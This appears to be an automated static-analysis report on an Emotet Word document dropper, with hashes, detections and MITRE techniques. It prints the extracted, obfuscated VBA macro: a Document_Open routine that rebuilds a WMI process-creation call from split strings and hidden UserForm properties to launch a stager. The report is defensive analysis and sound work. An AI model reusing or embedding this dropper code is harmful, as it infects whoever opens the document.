Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 da8a9079a2ecaaf3…

MALICIOUS

Office (OLE)

174.4 KB Created: 2020-07-20 13:09:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: ac52da416b0ce1f2dacc347d8b27e8ed SHA-1: 96e91885e579668884c41ad2e8b14934f20d9ca9 SHA-256: da8a9079a2ecaaf3eafa33ae0eadf2359975ce5b650921ebf15249c7fad07bbe
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and a hidden UserForm to execute code. This behavior, combined with the ClamAV detection signature 'Doc.Dropper.EmotetIOS-9402070-0', strongly indicates a dropper functionality, likely for the Emotet family. The macro appears to be designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10354 bytes
SHA-256: bf120c340c02785003b2a83b39089b4e8df10d267f894722aa7c3fc382c99c43
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "lolheoquneeh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
voitdeizsiothsaochgeafbeub
End Sub


Attribute VB_Name = "noegsiaf"
Attribute VB_Base = "0{5D6A0FB6-9E51-4842-B2AF-C49335A07B9D}{8D3C95CF-3C06-48E2-8784-53D192ACDBAB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "yauzfoekxoacpeorthoulkoul"
Function voitdeizsiothsaochgeafbeub()
thuag = Chr(noegsiaf.Zoom + 1 + 4 + 10)
Dim BiW1Oujj As Integer
For BiW1Oujj = 3 To 5 + 5
DoEvents
Next BiW1Oujj
chooth = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + thuag + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + noegsiaf.veofpeocthauw + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
Dim nKrPwX As String
nKrPwX = Replace$("Udglq1UXLnYV", "Udg", "RThCMP8ArHN")
goepgeichlajzoey = quaobbieknioc(chooth)
Dim W1UISOnXMLB As String
W1UISOnXMLB = Replace$("NZ5Ef7AalhQpm", "NZ5Ef7Aal", "ORJ6AXQ")
Set lordiquweeyteit = CreateObject(goepgeichlajzoey)
Dim mJTY As String
mJTY = Replace$("R1UBv0I3EbyyEVsZjgG", "R1UBv0I3Eby", "iei2IY")
laec = noegsiaf.queezpiqucuadmeirxousyuaw.ControlTipText
Dim vFktbhVi As String
vFktbhVi = Replace$("feUfrMGIX1?cBi", "feU", "Qlu")
choasduulreixcool = goepgeichlajzoey + thuag + noegsiaf.baexcheocpeskeaqu.ControlTipText + laec
Dim jbqvN3A7Cr As Byte
ducmoagzellearthaisxaoh = choasduulreixcool + noegsiaf.veofpeocthauw
Dim yuklqG As Date
Set joozquiepyuncodseox = rieg(ducmoagzellearthaisxaoh)
Dim DQk As Object
s = Array(nba, lordiquweeyteit. _
Create(pil, hoic, joozquiepyuncodseox))
Dim Xw3I8IKy1Nw As Byte
Dim UmSF As Currency
End Function
Function rieg(fadnialzeuttoawdaog)
Set rieg = CreateObject(fadnialzeuttoawdaog)
Dim VvSORugs As Integer
For VvSORugs = 2 To 3 + 3
DoEvents
Next VvSORugs
rieg _
. _
showwindow = (beebchaosgaonduuth + doutkopceach) + (zuuskielvet + wixweurtaixrionhaojgaiy)
Dim YITX As String
YITX = Replace$("Q7IA8ED3EbuuD3NBG", "Q7IA8ED3Ebu", "SFo5UhLvJ")
Dim vEWs4OTUh As String
vEWs4OTUh = Replace$("edUfrLGtW1IbAi", "edU", "Q6Is")
End Function
Function quaobbieknioc(lauzfeannuujguathfuan)
bain = lauzfeannuujguathfuan
Dim KmJU As Double
paorkaelsesthautmuy = Split(bain, "*6723tguT&^$^RFy23uikJGD")
Dim FgCvBs As Integer
For FgCvBs = 1 To 4 + 8
DoEvents
Next FgCvBs

xoeyvoigciehchuupgoequ = vVXqw + Join(paorkaelsesthautmuy, vVXqw)
Dim iVvSORugs As Byte
quaobbieknioc = xoeyvoigciehchuupgoequ
Dim fv1OYVoT As String
fv1OYVoT = Replace$("HEedUUZ7EwGlubAiI", "HEedUUZ7E", "kuwcN")
End Function
Function pil()
opo = noegsiaf.gioswioy.Pages(1).ControlTipText
Dim XK6IihX4a As Integer
For XK6IihX4a = 3 To 7 + 6
DoEvents
Next XK6IihX4a

pil = quaobbieknioc(opo)
Dim CJbwfpl2a As Byte
End Function


' Processing file: /opt/analyzer/scan_staging/b4ad15828d94469ba95f89cbda90e3f4.bin
' ===============================================================================
' Module streams:
' Macros/VBA/lolheoquneeh - 1377 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub lolheoquneeh())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/noegsiaf - 1188 bytes

... (truncated)

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